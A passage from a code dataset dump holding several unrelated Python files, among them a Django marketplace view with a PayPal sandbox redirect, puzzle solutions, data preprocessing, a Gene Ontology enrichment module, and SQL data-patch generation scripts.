BEEZMARKET בע\\\"מ | ת.ד. 74014 תל אביב

\\\n\t\t\t

הודעה זו נשלחה מתיבה דוא\\\"ל שאינה מנוטרת, בבקשה לא לענות להודעה זו.

\"\n\t\t\teml = EmailMessage('ברוכים הבאים - BEEZMARKET', eml_html, 'noreply@test.com', [data['email']])\n\t\t\teml.content_subtype = \"html\"\n\t\t\teml.send()\n\t\telse:\n\t\t\tpass\n\t\treturn HttpResponse('הנתונים נשמרו')\n\texcept:\n\t\treturn HttpResponse('אירעה שגיאה '+str(errcode))\n\n\n@login_required\n@user_passes_test(lambda u: u.is_superuser)\ndef update_outdated_offers(request):\n\toutdated = Offer.objects.filter(xdate__lt=datetime.now)\n\tfor off in outdated:\n\t\toff.status = 2\n\t\toff.save()\n\treturn HttpResponse(str(len(outdated))+\" הצעות נסגרו מאחר שפקעו\")\n# return render_to_response('remove.html', context_instance=RequestContext(request))\n\n\n#\n# Added by Diaspora App\n#\n\ndef product_to_paypal(request, product_id):\n url_data = {\n 'business': 'joe_1335210519_biz@gmail.com',\n 'item_name_X': 'iPad',\n 'tax_X': '200',\n 'invoice': '234234',\n 'cancelUrl': 'http://ec2-107-22-141-183.compute-1.amazonaws.com:3000/bm/payments/cancel',\n 'returnUrl': 'http://ec2-107-22-141-183.compute-1.amazonaws.com:3000/bm/payments/success',\n 'item_name_1': 'iPad2',\n 'item_number_1': '2',\n 'quantity_1': '1',\n 'amount_1': '1',\n }\n paypal_url = \"https://www.sandbox.paypal.com/cgi-bin/webscr?\"\n paypal_url += str(urllib.urlencode(url_data))\n return HttpResponseRedirect(paypal_url)\n\ndef product_to_paypal_callback(request):\n diaspora_url = \"http://ec2-107-22-141-183.compute-1.amazonaws.com:3000/\"\n diaspora_url += \"bm/payments/cancel\"\n return HttpResponseRedirect(diaspora_url)\n\ndef debug_view(request, id):\n offer = Offer.objects.get(pk=id)\n seller_email = offer.user.paypal\n shipping = offer.shippable\n shipping_price = \"No Shipping\"\n if (shipping == True):\n shipping_price = offer.shipping_price\n return HttpResponse(\"Price: \"+str(offer.price)+\"\\n Email:\"+str(seller_email)+\"\\n Shipping?\"+str(shipping_price))","sub_path":"trading/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"59615347","text":"import re\n\nregex = re.compile(\"#([0-9]+) @ ([0-9]+),([0-9]+): ([0-9]+)x([0-9]+)\")\ndef parse_claim(claim):\n match = regex.match(claim).groups()\n claim_id, x, y, width, height = [int(x) for x in match]\n return {'id': claim_id, 'pos': (x,y), 'shape': (width,height)}\n\n\ntest_input = \"\"\"#1 @ 1,3: 4x4\n#2 @ 3,1: 4x4\n#3 @ 5,5: 2x2\"\"\"\n\nreal_input = open('input.txt').read()\nclaims = [parse_claim(x) for x in real_input.split('\\n') if x]\n\nimport numpy\n\ndef p1(claims):\n grid = numpy.zeros((1000, 1000))\n for claim in claims:\n x,y = claim['pos']\n w,h = claim['shape']\n grid[y:y+h,x:x+w] += 1\n return numpy.sum(grid>1)\n\n\nprint(p1(claims))\n\ndef p2(claims):\n grid = numpy.zeros((1000, 1000))\n for claim in claims:\n x,y = claim['pos']\n w,h = claim['shape']\n grid[y:y+h,x:x+w] += 1\n for claim in claims:\n x,y = claim['pos']\n w,h = claim['shape']\n if numpy.all(grid[y:y+h,x:x+w] == 1):\n return claim['id']\n\nprint(p2(claims))\n\n\n","sub_path":"3/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"562034251","text":"import numpy as np\nfrom scipy.cluster.vq import kmeans2, whiten\nimport json\n\nwith open(\"dummy1.json\") as f:\n data = json.load(f)\n print(type(data))\n\ni = 0\nusr_prob = np.ndarray((1334,5))\nfor usr in data:\n usr_prob[i] = usr[\"problems\"]\n i += 1\n# print(i)\n# print(usr_prob)\n\nprint(data)\n\n\n# usr_data = np.array(usr_prob)\n\nx, y = kmeans2(whiten(usr_prob), 5, iter = 20)\n\n# y.dtype = np.int64\n# print(type(y))\n# print(x)\nprint(y)\nprint(len(y))\n#\n# # print(data[\"coordinates\"][\"lat\"])\n#\nj = 0\nlat = np.ndarray((1334,1))\nlong = np.ndarray((1334,1))\n\nlocn_cluster = {\"lat\" : [],\n \"long\" : [],\n \"cluster\" : []}\nprint(len(y))\n\nfor usr in data:\n locn = usr[\"coordinate\"]\n # print(locn)\n locn_cluster[\"lat\"].append(locn[\"lat\"])\n locn_cluster[\"long\"].append(locn[\"long\"])\n locn_cluster[\"cluster\"].append(y[j])\n # print()\n j += 1\n#\n#\n# print(locn_cluster)\n#\nprint(len(locn_cluster[\"lat\"]))\nprint(len(locn_cluster[\"long\"]))\nprint(len(locn_cluster[\"cluster\"]))\n#\n#\n# # print(lat)\n#\n#\n# # usr_lbl = {\"lat\" : lat,\n# # \"long\" : long,\n# # \"cluster\" : y}\n# # print(usr_lbl[\"lat\"])\n#\n#\n# json = [json.dumps(locn_cluster) for k,v in locn_cluster.items()]\n# # print(json)\n# f = open(\"locn_cluster\", \"w\")\n# f.write(json)\n# f.close()\n\nwith open(\"data.json\", \"w\") as outfile:\n json.dump(locn_cluster, outfile)\n# r = json.dumps(locn_cluster)\n\n\n","sub_path":"cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"264002543","text":"import pandas as pd\nimport numpy as np\n\nfrom random import randint\n\nclass BaselinePreprocessor(object):\n\t\"\"\"The class contains all the static methods to \n\timport and preprocess the dataset.\"\"\"\n\tdef __init__(self, input_trace):\n\t\tsuper(BaselinePreprocessor, self).__init__()\n\t\tself.input_trace = input_trace\n\n\tdef fit_transform(self, X, y, noise=False):\n\n\t\t# Concatenate features and labels\n\t\tdata = pd.concat([X, y], axis=1)\n\n\t\t# Filter the data \n\t\tdata = self.filtering_noisy_samples(data.values)\n\n\t\t# Get list of indexes\n\t\ttrain_list = self.get_indexes_list(data)\n\n\t\t# Splitting the data into features and labels\n\t\tX, y = self.features_labels_split(data)\n\n\t\t# Apply Noise\n\t\tif noise==True:\n\t\t\tX = self.apply_noise(X)\n\n\t\t# Generate the sequences\n\t\tX, y = self.generate_data(X, y, train_list)\n\n\t\treturn X[0:200], y[0:200]\n\n\tdef get_indexes_list(self, data):\n\t\ttrain_list = []\n\t\tfor i in range(0, len(data)):\n\t\t\tif data[i][2] != data[i-1][2] and i != 0:\n\t\t\t\ttrain_list.append(i-1)\n\t\treturn train_list\n\n\tdef filtering_noisy_samples(self, data):\n\t\tdata_proc = []\n\t\tcurrent_idx = 0\n\t\tfor i, sample in enumerate(data):\n\t\t\tif data[i][2] != data[i-1][2] and i != 0:\n\t\t\t\tif data[i-1][4] < 6:\n\t\t\t\t\tdata_proc.extend(data[current_idx:i,:])\n\t\t\t\tcurrent_idx = i\n\t\tdata_proc = np.asarray(data_proc)\n\t\treturn data_proc\n\n\tdef features_labels_split(self, data):\n\t\tfeatures = data[:,0:2]\n\t\tlabels = data[:,3:]\n\t\treturn features, labels\n\n\tdef generate_data(self, features, labels, train_list):\n\t\tdata_x = []\n\t\tdata_y = []\n\t\tfor i in range(0, len(train_list)-1):\n\t\t\tinitial_idx = train_list[i]\n\t\t\tx = features[initial_idx:initial_idx+self.input_trace,:]\n\t\t\ty = labels[initial_idx+int(self.input_trace/2):initial_idx+int(self.input_trace/2)+1,:]\n\n\t\t\tdata_x.append(x)\n\t\t\tdata_y.append(y)\n\n\t\tdata_x = np.asarray(data_x)\n\t\tdata_y = np.asarray(data_y)\n\n\t\treturn data_x, data_y\n\n\tdef apply_noise(self, features, mean=0.0, std_dev_size=2.5, std_dev_x_y=3.0):\n\n\t\t# To the x\n\t\tnoise = np.random.normal(mean, std_dev_x_y, len(features))\n\t\tfeatures[:,0] = features[:,0] + noise\n\n\t\t# To the y\n\t\tnoise = np.random.normal(mean, std_dev_x_y, len(features))\n\t\tfeatures[:,1] = features[:,1] + noise\n\t\t\n\t\treturn features","sub_path":"ball_3d_coordinates/baseline/preprocessing/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"452046451","text":"#!/usr/bin/env python2\n\nfrom pyqtgraph.Qt import QtCore, QtGui\nimport pyqtgraph as pg\nimport pyqtgraph.opengl as gl\nimport numpy as np\n\napp = QtGui.QApplication([])\nw = gl.GLViewWidget()\nw.show()\nw.setCameraPosition(distance=10)\n\ng1 = gl.GLGridItem()\n#g1.scale(2,10,1)\ng2 = gl.GLGridItem()\n#g2.scale(2,10,1)\ng2.rotate(90,0,1,0)\nw.addItem(g1)\nw.addItem(g2)\n\nmd = gl.MeshData.cylinder(rows=5, cols=40,radius=[5.0,5.0],length=10.0)\nm4 = gl.GLMeshItem(meshdata=md,\n smooth=True,\n drawFaces=False,\n drawEdges=True,\n edgeColor=(1,1,1,1))\n\nm4.rotate(90,1,0,0)\nm4.translate(0,5,0)\nw.addItem(m4)\n\nQtGui.QApplication.instance().exec_()\n","sub_path":"testing/pyqttest.py","file_name":"pyqttest.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"214428960","text":"# MenuTitle: Enable Automatic Alignment (Font-specific)\nfrom __future__ import (\n absolute_import,\n division,\n print_function,\n unicode_literals,\n)\n\nfor sl in Glyphs.font.selectedLayers:\n g = sl.parent\n for l in g.layers:\n for i in range(len(l.components)):\n c = l.components[i]\n c.automaticAlignment = True\n # c.position = (0, -402)\n l.leftMetricsKey = None\n l.rightMetricsKey = None\n # g.leftMetricsKey = l.components[0].componentName\n # g.rightMetricsKey = l.components[0].componentName\n g.leftMetricsKey = None\n g.rightMetricsKey = None\n","sub_path":"Glyphs/Enable Automatic Alignment.py","file_name":"Enable Automatic Alignment.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"288450952","text":"from edm_datapatch import *\n\nbenefitcd = ['IBWHP160701BEXIALLOP', 'IBWHP160701BEXIALLO']\nprocessdt = '2017-01-31'\nfirst_day_of_the_month = '2017-01-01'\n\nadhoc_env = 'COMPANY_EDM_UAT_3'\nprod_env = 'COMPANY_EDM_VN_DR'\n\n\ndef gennerate_incentive_set(incentive, suffix):\n benefit = dq.execute_sql(\n 'SELECT * FROM CMS_BENEFITRESULT WHERE BENEFITRESULTSEQ = {0}'.format(incentive['BENEFITRESULTSEQ%s' % suffix]), cf,\n adhoc_env, as_dict=True)\n for b in benefit:\n b.update({'PAYMENTPROCESSFL': 'PROCESSED', 'ADHOCFL': 'NO'})\n logger.info(table.generate_sql_insert('CMS_BENEFITRESULT', benefit, autofilled_fields=['BENEFITRESULTSEQ'],\n scope_identity_suffiexs=['BENEFITRESULTSEQ']))\n\n benefitkpis = dq.execute_sql(\n 'SELECT * FROM CMS_BENEFITRESULT_KPI WHERE BENEFITRESULTSEQ = {0}'.format(incentive['BENEFITRESULTSEQ%s' % suffix]),\n cf, adhoc_env, as_dict=True)\n for k in benefitkpis:\n k.update({'BENEFITRESULTSEQ': '@NEWSEQ_%s' % k['BENEFITRESULTSEQ']})\n logger.info(table.generate_sql_insert('CMS_BENEFITRESULT_KPI', benefitkpis, autofilled_fields=['KPIBASISRESULTSEQ'],\n scope_identity_suffiexs=None))\n\n benefitpay = dq.execute_sql(\n 'SELECT * FROM CMS_BENEFITPAY_RESULT WHERE BENEFITRESULTSEQ = {0}'.format(incentive['BENEFITRESULTSEQ%s' % suffix]),\n cf, adhoc_env, as_dict=True)\n for k in benefitpay:\n k.update({'BENEFITRESULTSEQ': '@NEWSEQ_%s' % k['BENEFITRESULTSEQ'], 'PAYMENTFLAG': 'PROCESSED'})\n logger.info(\n table.generate_sql_insert('CMS_BENEFITPAY_RESULT', benefitpay, autofilled_fields=['BENEFITPAYRESULTSEQ'],\n scope_identity_suffiexs=['BENEFITPAYRESULTSEQ']))\n\n CMS_PRODUCER_PAYABLE_INSERT = []\n for bp in benefitpay:\n expected_agent_info = dq.get_agent_info(cf['DEFAULT']['src_db'], cf, incentive['PRODUCERSOURCECD'],\n as_dict=True)\n row = table.generate_cms_producer_payable_incentive(expected_agent_info.get('agent')[0],\n None,\n bp['BENEFITPAYAMT'],\n processdt,\n 'TIM PAYMENT DT',\n referencetoseq='@NEWSEQ_%s' % bp['BENEFITPAYRESULTSEQ'],\n DISBURSEDFL='NO', TAXCALCULATEDFLG='NO'\n )\n CMS_PRODUCER_PAYABLE_INSERT.append(row)\n logger.info(table.generate_sql_insert('CMS_PRODUCER_PAYABLE', CMS_PRODUCER_PAYABLE_INSERT,\n autofilled_fields=None,\n scope_identity_suffiexs=None))\n\nif __name__ == '__main__':\n # get adhoc data and production data on the same date\n adhoc_data = dq.get_incentives_benefits_bonus_payable(adhoc_env, cf, patch_date=processdt, month_start=first_day_of_the_month, benefitcd=benefitcd, adhoc='YES', excluded=['kpis_detail','payable'], as_dict=True)\n pro_data = dq.get_incentives_benefits_bonus_payable(prod_env, cf, patch_date=processdt, month_start=first_day_of_the_month, benefitcd=benefitcd, adhoc='NO', excluded=[], as_dict=True)\n\n # get adhoc incentive and kpi of the date\n adhoc_incentive = pandas.DataFrame(adhoc_data['incentives'])\n adhoc_kpi = pandas.DataFrame(adhoc_data['kpis'])\n\n # get production incentive and kpi of the date\n pro_incentive = pandas.DataFrame(pro_data['incentives'])\n pro_kpi = pandas.DataFrame(pro_data['kpis'])\n\n if pro_incentive.empty:\n for index, incentive in adhoc_incentive.iterrows():\n gennerate_incentive_set(incentive, '')\n exit()\n\n # merge adhoc incentive with production incentive by left join\n merged_incentive = pandas.merge(adhoc_incentive, pro_incentive,\n left_on=['PRODUCERSOURCECD', 'BENEFITCD'],\n right_on=['PRODUCERSOURCECD', 'BENEFITCD'],\n how='left', suffixes=('_adhoc', '_pro'))\n\n for index, incentive in merged_incentive.iterrows():\n # update for rows that incorrectly calculated on production\n if not pandas.isnull(incentive['BENEFITAMT_pro']):\n logger.info('UPDATE CMS_BENEFITRESULT SET BENEFITAMT=%s WHERE BENEFITRESULTSEQ=%s;' % (incentive['BENEFITAMT_adhoc'], incentive['BENEFITRESULTSEQ_pro']))\n logger.info('UPDATE CMS_BENEFITPAY_RESULT SET BENEFITPAYAMT=%s WHERE BENEFITRESULTSEQ=%s;' % (incentive['BENEFITAMT_adhoc'], incentive['BENEFITRESULTSEQ_pro']))\n logger.info(\"UPDATE CMS_PRODUCER_PAYABLE SET TOTALPAYMENTAMT={0}, PAYMENTAMT={0} WHERE REFERENCESEQ={1} AND REFERENCEBASETYPECD='INCENTIVE';\".format(incentive['BENEFITAMT_adhoc'], incentive['BENEFITPAYRESULTSEQ_pro']))\n\n adhoc_a_set_kpis_of_a_rule = adhoc_kpi[adhoc_kpi['BENEFITCD'].isin([incentive['BENEFITCD']])]\n # if there are any incentive kpi on production\n if not pro_kpi.empty:\n pro_a_set_kpis_of_a_rule = pro_kpi[pro_kpi['BENEFITCD'].isin([incentive['BENEFITCD']])]\n merged_kpi = pandas.merge(adhoc_a_set_kpis_of_a_rule, pro_a_set_kpis_of_a_rule,\n left_on=['PRODUCERCD', 'BENEFITCD', 'KPICD', 'GROUPCD', 'KPIPERIODFROM',\n 'KPIPERIODTO'],\n right_on=['PRODUCERCD', 'BENEFITCD', 'KPICD', 'GROUPCD', 'KPIPERIODFROM',\n 'KPIPERIODTO'],\n how='left', suffixes=('_adhoc', '_pro')\n )\n\n for index, kpi in merged_kpi.iterrows():\n # if incentive kpis on production were calculated incorrectly\n if not pandas.isnull(kpi['KPIVALUE_pro']):\n logger.info('UPDATE CMS_BENEFITRESULT_KPI SET KPIVALUE=%s WHERE KPIBASISRESULTSEQ=%s' % (\n kpi['KPIVALUE_adhoc'], kpi['KPIBASISRESULTSEQ_pro']))\n else:\n # if we have no ideas about incentive kpis on production or we deleted several incentive kpis\n # we are going to use the incentive kpis on adhoc for production\n benefitkpis = dq.execute_sql(\n 'SELECT * FROM CMS_BENEFITRESULT_KPI WHERE KPIBASISRESULTSEQ = {0}'.format(\n kpi['KPIBASISRESULTSEQ_adhoc']), cf, adhoc_env, as_dict=True)\n for k in benefitkpis:\n k.update({'BENEFITRESULTSEQ': incentive['BENEFITRESULTSEQ_pro']})\n logger.info(table.generate_sql_insert('CMS_BENEFITRESULT_KPI', benefitkpis,\n autofilled_fields=['KPIBASISRESULTSEQ'],\n scope_identity_suffiexs=None))\n else:\n # if there are NOT any incentive kpi on production\n # we have no ideas about incentive kpis on production or we deleted all incentive kpis\n # we are going to use the incentive kpis on adhoc for production\n for index, kpi in adhoc_a_set_kpis_of_a_rule.iterrows():\n benefitkpis = dq.execute_sql(\n 'SELECT * FROM CMS_BENEFITRESULT_KPI WHERE KPIBASISRESULTSEQ = {0}'.format(\n kpi['KPIBASISRESULTSEQ']), cf, adhoc_env, as_dict=True)\n for k in benefitkpis:\n k.update({'BENEFITRESULTSEQ': incentive['BENEFITRESULTSEQ_pro']})\n logger.info(table.generate_sql_insert('CMS_BENEFITRESULT_KPI', benefitkpis,\n autofilled_fields=['KPIBASISRESULTSEQ'],\n scope_identity_suffiexs=None))\n else:\n gennerate_incentive_set(incentive, '_adhoc')","sub_path":"edm_datapatch/dfu_INCENTIVE_by_merging_adhoc_and_final_result.py","file_name":"dfu_INCENTIVE_by_merging_adhoc_and_final_result.py","file_ext":"py","file_size_in_byte":8313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"517564476","text":"from collections import deque\n\nN,M = map(int,input().split())\nsides = [list(map(int,input().split())) for i in range(M)]\n\nvertex = [[] for i in range(N)]\nfor side in sides:\n vertex[side[0]-1].append(side[1])\n vertex[side[1]-1].append(side[0])\n\n# print(vertex)\n\nans = 0\n\nfor side in sides:\n vertex[side[0]-1].remove(side[1])\n vertex[side[1]-1].remove(side[0])\n # print(vertex)\n for i in range(1,N+1):\n a = 1\n check = deque([i])\n fromcheck = {j:0 for j in range(1,N+1)}\n visit = {i}\n while len(check) != 0:\n v = check.popleft()\n for ver in vertex[v-1]:\n if fromcheck[ver] == 0:\n fromcheck[ver] = 1\n check.append(ver)\n visit.add(ver)\n fromcheck[v] = 1\n if visit != {i for i in range(1,N+1)}:\n a = 0\n break\n if a == 0:\n ans += 1\n vertex[side[0]-1].append(side[1])\n vertex[side[1]-1].append(side[0])\n\nprint(ans)\n","sub_path":"ABC/ABC_075/abc075c.py","file_name":"abc075c.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"431378928","text":"\n# main.py\n# For to judge the file \n# Author by kiyou yang\n\nimport os\nimport re\nimport readMlfFile\nimport judgeSingleFile\nimport getTemplate\nimport time\n\nfileDirs = 'D:\\PythonFile\\JsonAnalytical\\\\res'\nresultPath = 'result'\n\ndef getFilePath(fileDirs):\n\tglobal resultPath\n\n\tfilePathList = []\n\tresultStr = fileDirs + '\\n\\n'\n\n\t# 判断路径是否存在\n\tif not os.path.isdir(fileDirs):\n\t\tresultStr += '文件目录错误\\n'\n\t# 判断目录是否为空\n\tfilePathList = os.listdir(fileDirs)\n\n\tif not len(filePathList) >= 1:\n\t\tresultStr += '文件目录为空\\n'\n\n\terrorFilePath = os.getcwd() + '\\\\' + resultPath\n\ti = 0\n\ttemp = 0\n\tfor tree in os.walk(errorFilePath):\n\t\tif i == 0:\n\t\t\tfor f in tree[2]:\n\t\t\t\tif temp < int(f.split('_')[1].split('.')[0]):\n\t\t\t\t\ttemp = int(f.split('_')[1].split('.')[0])\n\t\tbreak\n\terrorFilePath = errorFilePath + '\\\\' + time.strftime(\"%Y-%m-%d\") + '_' + str(temp+1) + '.log'\n\tf = open(errorFilePath,'w')\n\tf.write(resultStr)\n\tf.close()\n\n\tresultPath = errorFilePath\n\n\treturn filePathList\n\ndef judgeFile(filePathList, templateJson):\n\twrongNum = 0\n\ttag = True\n\n\tif not len(filePathList) == 0:\n\t\tfor f in filePathList:\n\t\t\ttag = True\n\t\t\tresult = readMlfFile.getJsonList(fileDirs+'\\\\'+f)\n\t\t\terrorStr = ''\n\t\t\tjsonsList = result[1]\n\t\t\tfin = open(resultPath, 'a')\n\t\t\tfin.write(fileDirs+'\\\\'+f+'\\n')\n\n\t\t\t# 判断原文件是否错误\n\t\t\tif result[0] == False:\n\t\t\t\t#print(False)\n\t\t\t\terrorStr += result[2]\n\t\t\t\ttag = False\n\t\t\t# 判断文件中json格式文件是否已经取出\n\t\t\tif len(jsonsList) == 0:\n\t\t\t\terrorStr += '文件中json串不存在\\n'\n\t\t\t\ttag = False\n\t\t\telse:\n\t\t\t\tfor jsons in jsonsList:\n\t\t\t\t\twrongMessage = judgeSingleFile.isFalse(jsons, templateJson)\n\t\t\t\t\tif not wrongMessage == '':\n\t\t\t\t\t\terrorStr += wrongMessage + '\\n'\n\t\t\t\t\t\ttag = False\n\t\t\tif errorStr == '':\n\t\t\t\terrorStr += 'json格式正确\\n\\n'\n\n\t\t\tif tag == True:\n\t\t\t\tfin.write('文件正确\\n')\n\t\t\telse:\n\t\t\t\tfin.write('文件错误\\n')\n\t\t\t\tfin.write(errorStr)\n\t\t\t\twrongNum += 1\n\t\t\tfin.close()\n\n\t\tfin = open(resultPath, 'a')\n\t\ttempStr = '\\n\\ncount: ' + str(len(filePathList)) + '\twrongNum: ' + str(wrongNum) \n\t\tfin.write(tempStr)\n\t\tfin.close()\n\ndef isFalse():\n\t# 获得目录中文件\n\tfilePathList = getFilePath(fileDirs)\n\t# 获得json模板\n\ttemplateJson = getTemplate.getTemplate(os.getcwd()+'\\\\template\\\\template.json')\n\t# 判断文件中格式是否错误\n\tjudgeFile(filePathList, templateJson)\n\n\treturn 0\n\nif __name__=='__main__':\n\tisFalse()\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"654166008","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/benwaters/sensu-auditor/lib/python2.7/site-packages/sensu_auditor/defaults.py\n# Compiled at: 2016-09-05 07:27:50\n\"\"\"\nDefault Sensu-Auditor Settings. Override in the defaults file\n\"\"\"\nimport sys, logging\nCONFIG_PATH = '/etc/default/sensu-auditor.ini'\nSENSU_LOG_FOLDER = '/var/log/sensu/'\nLOG_LOCATION = 'log_location'\nLOG_TYPES = [\n 'sensu-client', 'sensu-server', 'sensu-api']\nDEFAULT_CONFIG_FIELDS = {'log_location': '/var/log/sensu', 'log_level': logging.DEBUG, \n 'log_output': sys.stdout, \n 'days': 30}\nDEFAULT_SECTIONS = {'user': 'User', \n 'group': 'Groups'}\nMESSAGES = {'RECEIVED_MESSAGE': 'received check request', \n 'PUBLISHED_MESSAGE': 'publishing check result'}","sub_path":"pycfiles/sensu-auditor-0.0.1.1.macosx-10.11-intel.tar/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"506629333","text":"from goatools import obo_parser\ndag=None\nannotations=dict()\ngenesinterm=dict()\ngenesintermdescent=dict()\n\ndef loadobo(obo):\n global dag\n dag=obo_parser.GODag(obo_file=obo)\n\ndef loadano(ano):\n global dag\n global annotations\n global genesinterm\n for t in dag.keys():\n genesinterm[t]=set([])\n anofile=open(ano,\"r\")\n for line in anofile:\n prot=line.split('\\t')[0]\n term=line.split('\\t')[1].strip('\\n')\n if annotations.has_key(prot):\n annotations[prot].add(term)\n else:\n annotations[prot]=set([term])\n genesinterm[term].add(prot)\n populategenesintermdescent()\n\ndef populategenesintermdescent():\n global dag\n global genesinterm\n global genesintermdescent\n for t in dag.keys():\n genesintermdescent[t]=set(genesinterm[t])\n for d in dag[t].get_all_children():\n genesintermdescent[t]=genesintermdescent[t].union(genesinterm[d])\n\ndef termsenrichedforgenes(lg):\n \"\"\"Find all the terms that are enriched for a given set of genes\"\"\"\n global dag\n global annotations\n from goatools import GOEnrichmentStudy\n import genome_UniProtKB as genome\n assert(genome.genesloaded)\n pop=genome.genes.keys()\n g=GOEnrichmentStudy(pop, annotations, dag, alpha=0.05, study=lg, methods=[\"bonferroni\", \"sidak\", \"holm\"])\n g.print_summary()\n posterm=set([])\n negterm=set([])\n for r in g.results:\n if (r.p_bonferroni<0.05) and (r.p_uncorrected<0.01):\n if r.enrichment=='e':\n posterm.add(r.id)\n else:\n assert(r.enrichment=='p')\n negterm.add(r.id)\n return (posterm,negterm)\n\ndef similarityprot(a,b):\n global annotations\n x=annotations[a]\n y=annotations[b]\n return similaritylt(x,y)\n\ndef similaritylt(x,y):\n \"\"\"Find the last ancestors common between two lists of terms and their levels\"\"\"\n global dag\n par_term1=set()\n par_term2=set()\n for tx in x:\n term1=dag[tx]\n par_term1=par_term1.union(term1.get_all_parents()).union([term1.id])\n for ty in y:\n term2=dag[ty]\n par_term2=par_term2.union(term2.get_all_parents()).union([term2.id])\n common=par_term1.intersection(par_term2)\n lcommon=list(common)\n lc=lcommon[:]\n for t1 in lc:\n for t2 in lc:\n if (t1!=t2):\n if t1 in dag[t2].get_all_children():\n if t2 in lcommon:\n lcommon.remove(t2)\n lcommon.sort(key=lambda x:dag[x].level)\n if len(lcommon)==0:\n return (0,None)\n else:\n return map(lambda x: (dag[x].level,dag[x].name),lcommon)\n #luca=lcommon.pop()\n #return (dag[luca].level,luca)\n ","sub_path":"go.py","file_name":"go.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"450099942","text":"import os\nimport sys\nimport json\nimport subprocess\nimport argparse\nimport logging\nimport itertools\n\nfrom collections import defaultdict\n\n# Insert Jared's directory path, required for calling Jared's functions. Change when directory structure changes.\nsys.path.insert(0, os.path.abspath(os.path.join(os.pardir, 'jared')))\n\nfrom logging_module import initLogger\n\n\nclass Model:\n def __init__ (self, name):\n self.name = name\n self.tree = ''\n self.npop = 0\n self.pop_list = []\n self.nind = defaultdict(int)\n self.ind_dict = defaultdict(list)\n self.pop_files = []\n self.individuals_file = ''\n\n @property\n def ind_list(self):\n return list(itertools.chain.from_iterable(self.ind_dict.values()))\n\n def assign_tree (self, tree):\n self.tree = tree\n\n def assign_pop (self, pop, inds = []):\n self.npop += 1\n self.pop_list.append(pop)\n if inds:\n self.nind[pop] = len(inds)\n self.ind_dict[pop] = inds\n\n def create_pop_files (self, file_ext = '', file_path = '', overwrite = False):\n for pop in self.pop_list:\n # Assign the filename for the population file\n pop_filename = pop + file_ext\n\n # If a path is assigned, create the file at the specified location\n if file_path:\n pop_filename = os.path.join(file_path, pop_filename)\n\n # Check if previous files should be overwriten\n if not overwrite:\n # Check if the file already exists\n if os.path.isfile(pop_filename):\n raise IOError('Population file exists.')\n\n # Create the population file\n pop_file = open(pop_filename, 'w')\n pop_file.write('%s\\n' %'\\n'.join(self.ind_dict[pop]))\n pop_file.close()\n\n # Save the population filename\n self.pop_files.append(pop_filename)\n\n def delete_pop_files (self):\n # Check if pop files were created\n if len(self.pop_files) != 0:\n\n # Loop the created pop files\n for pop_file in self.pop_files:\n # Delete the pop file\n os.remove(pop_file)\n\n # Remove the filenames\n self.pop_files = []\n\n\n def create_individuals_file (self, file_ext = '', file_path = '', overwrite = False):\n # Assign the filename for the population file\n ind_filename = 'individual.keep' + file_ext\n\n # If a path is assigned, create the file at the specified location\n if file_path:\n ind_filename = os.path.join(file_path, ind_filename)\n\n # Check if previous files should be overwriten\n if not overwrite:\n # Check if the file already exists\n if os.path.isfile(ind_filename):\n raise IOError('Individuals file exists.')\n\n # Create the population file\n ind_file = open(ind_filename, 'w')\n ind_file.write('%s\\n' %'\\n'.join(self.ind_list))\n ind_file.close()\n\n # Save the individuals filename\n self.individuals_file = ind_filename\n\n def delete_individuals_file (self):\n # Check if an individuals file was created\n if self.individuals_file:\n\n # Delete the individuals file\n os.remove(self.individuals_file)\n\n # Remove the filename\n self.individuals_file = ''\n\ndef read_model_file (filename):\n\n # Check that the file exists\n if not os.path.isfile(filename):\n raise IOError\n\n # Open the model file\n model_file = open(filename, 'rU')\n\n # Parse the model file using the json reader\n models_dict = json.load(model_file)\n\n # Used to store each model within the file\n models_in_file = {}\n\n # Loop the parsed models\n for model_dict in models_dict:\n\n # Create the model\n model = Model(model_dict['name'])\n\n # Loop the populations in the model\n for pop, pop_dict in model_dict['pops'].items():\n\n # Assign the population ans it's individuals to the model\n model.assign_pop(pop, pop_dict['inds'])\n\n # Save the model\n models_in_file[model.name] = model\n\n # Return the models\n return models_in_file\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"601528629","text":"import wx\nfrom epics import get_pv\nfrom epics.wx.utils import pack\nfrom epics.wx import (PVEnumChoice, PVEnumButtons,\n PVFloatCtrl, PVTextCtrl, PVStaticText)\n\nlabstyle = wx.ALIGN_LEFT|wx.EXPAND|wx.ALIGN_CENTER_VERTICAL\n\n\nPVcontrols = dict(pvenum=PVEnumChoice,\n pvenumbuttons=PVEnumButtons,\n 